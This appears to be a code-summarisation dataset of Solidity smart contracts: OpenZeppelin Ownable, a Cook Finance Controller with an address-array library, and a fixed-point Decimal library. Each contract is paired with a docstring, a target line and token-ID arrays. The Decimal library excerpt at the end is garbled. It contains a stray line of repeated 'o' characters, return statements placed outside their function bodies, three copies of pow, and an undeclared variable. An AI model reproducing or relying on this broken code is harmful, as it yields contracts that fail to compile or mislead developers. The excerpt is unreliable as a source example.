// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
|
@dev Gives us access to the otw internal function `_numberMinted`
|
function numberMinted(address owner) public view returns (uint256)
{
return _numberMinted(owner);
}
| 1,351,638 |
[
1,
43,
3606,
584,
2006,
358,
326,
320,
11246,
2713,
445,
1375,
67,
2696,
49,
474,
329,
68,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
1300,
49,
474,
329,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
7010,
202,
95,
203,
202,
202,
2463,
389,
2696,
49,
474,
329,
12,
8443,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at hecoinfo.com on 2021-06-09
*/
// Sources flattened with hardhat v2.0.11 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[email protected]
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/lib/AddressArrayUtils.sol
/*
Copyright 2021 Cook Finance.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title AddressArrayUtils
* @author Cook Finance
*
* Utility functions to handle Address Arrays
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* @param A The input array to search
* @param a The address to remove
*/
function removeStorage(address[] storage A, address a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
/**
* Returns the combination of the two arrays
* @param A The first array
* @param B The second array
* @return Returns A extended by B
*/
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
/**
* Validate that address and uint array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of uint
*/
function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bool array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bool
*/
function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and string array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of strings
*/
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address array lengths match, and calling address array are not empty
* and contain no duplicate elements.
*
* @param A Array of addresses
* @param B Array of addresses
*/
function validatePairsWithArray(address[] memory A, address[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bytes array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bytes
*/
function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate address array is not empty and contains no duplicate elements.
*
* @param A Array of addresses
*/
function _validateLengthAndUniqueness(address[] memory A) internal pure {
require(A.length > 0, "Array length must be > 0");
require(!hasDuplicate(A), "Cannot duplicate addresses");
}
}
// File contracts/protocol/Controller.sol
/*
Copyright 2021 Cook Finance.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Controller
* @author Cook Finance
*
* Contract that houses state for approvals and system contracts such as added CKs,
* modules, factories, resources (like price oracles), and protocol fee configurations.
*/
contract Controller is Ownable {
using AddressArrayUtils for address[];
/* ============ Events ============ */
event FactoryAdded(address indexed _factory);
event FactoryRemoved(address indexed _factory);
event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage);
event FeeRecipientChanged(address _newFeeRecipient);
event ModuleAdded(address indexed _module);
event ModuleRemoved(address indexed _module);
event ResourceAdded(address indexed _resource, uint256 _id);
event ResourceRemoved(address indexed _resource, uint256 _id);
event CKAdded(address indexed _ckToken, address indexed _factory);
event CKRemoved(address indexed _ckToken);
/* ============ Modifiers ============ */
/**
* Throws if function is called by any address other than a valid factory.
*/
modifier onlyFactory() {
require(isFactory[msg.sender], "Only valid factories can call");
_;
}
modifier onlyInitialized() {
require(isInitialized, "Contract must be initialized.");
_;
}
/* ============ State Variables ============ */
// List of enabled CKs
address[] public cks;
// List of enabled factories of CKTokens
address[] public factories;
// List of enabled Modules; Modules extend the functionality of CKTokens
address[] public modules;
// List of enabled Resources; Resources provide data, functionality, or
// permissions that can be drawn upon from Module, CKTokens or factories
address[] public resources;
// Mappings to check whether address is valid CK, Factory, Module or Resource
mapping(address => bool) public isCK;
mapping(address => bool) public isFactory;
mapping(address => bool) public isModule;
mapping(address => bool) public isResource;
// Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes
// Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16)
mapping(address => mapping(uint256 => uint256)) public fees;
// Mapping of resource ID to resource address, which allows contracts to fetch the correct
// resource while providing an ID
mapping(uint256 => address) public resourceId;
// Recipient of protocol fees
address public feeRecipient;
// Return true if the controller is initialized
bool public isInitialized;
/* ============ Constructor ============ */
/**
* Initializes the initial fee recipient on deployment.
*
* @param _feeRecipient Address of the initial protocol fee recipient
*/
constructor(address _feeRecipient) public {
feeRecipient = _feeRecipient;
}
/* ============ External Functions ============ */
/**
* Initializes any predeployed factories, modules, and resources post deployment. Note: This function can
* only be called by the owner once to batch initialize the initial system contracts.
*
* @param _factories List of factories to add
* @param _modules List of modules to add
* @param _resources List of resources to add
* @param _resourceIds List of resource IDs associated with the resources
*/
function initialize(
address[] memory _factories,
address[] memory _modules,
address[] memory _resources,
uint256[] memory _resourceIds
)
external
onlyOwner
{
require(!isInitialized, "Controller is already initialized");
require(_resources.length == _resourceIds.length, "Array lengths do not match.");
factories = _factories;
modules = _modules;
resources = _resources;
// Loop through and initialize isModule, isFactory, and isResource mapping
for (uint256 i = 0; i < _factories.length; i++) {
require(_factories[i] != address(0), "Zero address submitted.");
isFactory[_factories[i]] = true;
}
for (uint256 i = 0; i < _modules.length; i++) {
require(_modules[i] != address(0), "Zero address submitted.");
isModule[_modules[i]] = true;
}
for (uint256 i = 0; i < _resources.length; i++) {
require(_resources[i] != address(0), "Zero address submitted.");
require(resourceId[_resourceIds[i]] == address(0), "Resource ID already exists");
isResource[_resources[i]] = true;
resourceId[_resourceIds[i]] = _resources[i];
}
// Set to true to only allow initialization once
isInitialized = true;
}
/**
* PRIVILEGED FACTORY FUNCTION. Adds a newly deployed CKToken as an enabled CKToken.
*
* @param _ckToken Address of the CKToken contract to add
*/
function addCK(address _ckToken) external onlyInitialized onlyFactory {
require(!isCK[_ckToken], "CK already exists");
isCK[_ckToken] = true;
cks.push(_ckToken);
emit CKAdded(_ckToken, msg.sender);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a CK
*
* @param _ckToken Address of the CKToken contract to remove
*/
function removeCK(address _ckToken) external onlyInitialized onlyOwner {
require(isCK[_ckToken], "CK does not exist");
cks = cks.remove(_ckToken);
isCK[_ckToken] = false;
emit CKRemoved(_ckToken);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory
*
* @param _factory Address of the factory contract to add
*/
function addFactory(address _factory) external onlyInitialized onlyOwner {
require(!isFactory[_factory], "Factory already exists");
isFactory[_factory] = true;
factories.push(_factory);
emit FactoryAdded(_factory);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory
*
* @param _factory Address of the factory contract to remove
*/
function removeFactory(address _factory) external onlyInitialized onlyOwner {
require(isFactory[_factory], "Factory does not exist");
factories = factories.remove(_factory);
isFactory[_factory] = false;
emit FactoryRemoved(_factory);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module
*
* @param _module Address of the module contract to add
*/
function addModule(address _module) external onlyInitialized onlyOwner {
require(!isModule[_module], "Module already exists");
isModule[_module] = true;
modules.push(_module);
emit ModuleAdded(_module);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module
*
* @param _module Address of the module contract to remove
*/
function removeModule(address _module) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
modules = modules.remove(_module);
isModule[_module] = false;
emit ModuleRemoved(_module);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource
*
* @param _resource Address of the resource contract to add
* @param _id New ID of the resource contract
*/
function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner {
require(!isResource[_resource], "Resource already exists");
require(resourceId[_id] == address(0), "Resource ID already exists");
isResource[_resource] = true;
resourceId[_id] = _resource;
resources.push(_resource);
emit ResourceAdded(_resource, _id);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource
*
* @param _id ID of the resource contract to remove
*/
function removeResource(uint256 _id) external onlyInitialized onlyOwner {
address resourceToRemove = resourceId[_id];
require(resourceToRemove != address(0), "Resource does not exist");
resources = resources.remove(resourceToRemove);
delete resourceId[_id];
isResource[resourceToRemove] = false;
emit ResourceRemoved(resourceToRemove, _id);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module
*
* @param _module Address of the module contract to add fee to
* @param _feeType Type of the fee to add in the module
* @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16)
*/
function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
require(fees[_module][_feeType] == 0, "Fee type already exists on module");
fees[_module][_feeType] = _newFeePercentage;
emit FeeEdited(_module, _feeType, _newFeePercentage);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module
*
* @param _module Address of the module contract to edit fee
* @param _feeType Type of the fee to edit in the module
* @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16)
*/
function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
require(fees[_module][_feeType] != 0, "Fee type does not exist on module");
fees[_module][_feeType] = _newFeePercentage;
emit FeeEdited(_module, _feeType, _newFeePercentage);
}
/**
* PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient
*
* @param _newFeeRecipient Address of the new protocol fee recipient
*/
function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner {
require(_newFeeRecipient != address(0), "Address must not be 0");
feeRecipient = _newFeeRecipient;
emit FeeRecipientChanged(_newFeeRecipient);
}
/* ============ External Getter Functions ============ */
function getModuleFee(
address _moduleAddress,
uint256 _feeType
)
external
view
returns (uint256)
{
return fees[_moduleAddress][_feeType];
}
function getFactories() external view returns (address[] memory) {
return factories;
}
function getModules() external view returns (address[] memory) {
return modules;
}
function getResources() external view returns (address[] memory) {
return resources;
}
function getCKs() external view returns (address[] memory) {
return cks;
}
/**
* Check if a contract address is a module, CK, resource, factory or controller
*
* @param _contractAddress The contract address to check
*/
function isSystemContract(address _contractAddress) external view returns (bool) {
return (
isCK[_contractAddress] ||
isModule[_contractAddress] ||
isResource[_contractAddress] ||
isFactory[_contractAddress] ||
_contractAddress == address(this)
);
}
}
|
List of enabled CKs
|
address[] public cks;
| 10,119,644 |
[
1,
682,
434,
3696,
11131,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
8526,
1071,
276,
7904,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xA2DE92eB6bEf83A9Ab5fE6e1C62225dE48181498/sources/Comptroller.sol
|
* @title Decimal @author dYdX Library that defines a fixed-point number with 18 decimal places./ ============ Constants ============ ============ Structs ============
|
library Decimal {
using SafeMath for uint256;
uint256 constant BASE = 10**18;
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
struct D256 {
uint256 value;
}
function zero()
internal
pure
returns (D256 memory)
{
}
return D256({ value: 0 });
function one()
internal
pure
returns (D256 memory)
{
}
return D256({ value: BASE });
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: a.mul(BASE) });
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: getPartial(a, BASE, b) });
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.add(b.mul(BASE)) });
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.sub(b.mul(BASE)) });
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.sub(b.mul(BASE), reason) });
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.mul(b) });
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.div(b) });
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
D256 memory temp = D256({ value: self.value });
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.add(b.value) });
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.sub(b.value) });
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: self.value.sub(b.value, reason) });
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: getPartial(self.value, b.value, BASE) });
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
}
return D256({ value: getPartial(self.value, BASE, b.value) });
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
